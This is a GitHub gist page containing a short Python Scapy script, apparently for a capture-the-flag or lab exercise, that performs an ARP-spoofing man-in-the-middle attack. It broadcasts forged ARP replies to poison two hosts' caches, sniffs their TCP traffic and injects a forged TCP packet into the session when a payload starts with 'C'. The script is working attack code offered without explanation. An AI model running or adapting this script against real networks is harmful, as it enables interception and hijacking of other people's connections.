Skip to content

Instantly share code, notes, and snippets.

@morkev
Last active February 18, 2025 08:46
Show Gist options
  • Select an option

  • Save morkev/bae0f6516e63fa8ba3b212257222e8be to your computer and use it in GitHub Desktop.

Select an option

Save morkev/bae0f6516e63fa8ba3b212257222e8be to your computer and use it in GitHub Desktop.
Ether/ARP Man-In-Ihe-Middle (MITM) Injection
# Ether/ARP Man-In-Ihe-Middle (MITM) Injection
# . .
# .| |.
# || ||
# \\()//
# .={}=.
# / /`'\ \
# ` \ / '
# \/
from scapy.all import *
sendp(
Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") /
ARP(op="is-at", psrc="10.0.0.3", pdst="10.0.0.4"),
iface="eth0"
)
sendp(
Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") /
ARP(op="is-at", psrc="10.0.0.4", pdst="10.0.0.3"),
iface="eth0"
)
def inject(pkt):
print("------------ PACKET ------------")
print(f"src: {pkt[IP].src}, dst: {pkt[IP].dst}")
print(f"sport: {pkt[TCP].sport}, dport: {pkt[TCP].dport}")
print(f"seq: {pkt.seq}, ack: {pkt.ack}")
if Raw in pkt:
print(f"load: {pkt[Raw].load}")
if pkt[Raw].load[0] == ord("C"):
sendp(
Ether(src=pkt[Ether].dst, dst=pkt[Ether].src) /
IP(src=pkt[IP].dst, dst=pkt[IP].src) /
TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt.ack,
ack=(pkt.seq + len(pkt[Raw].payload)),
flags="PA"
) /
Raw(load="FLAG\n"),
iface="eth0"
)
print(f"time: {pkt.time}\n")
sniff(filter="tcp", iface="eth0", prn=inject)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment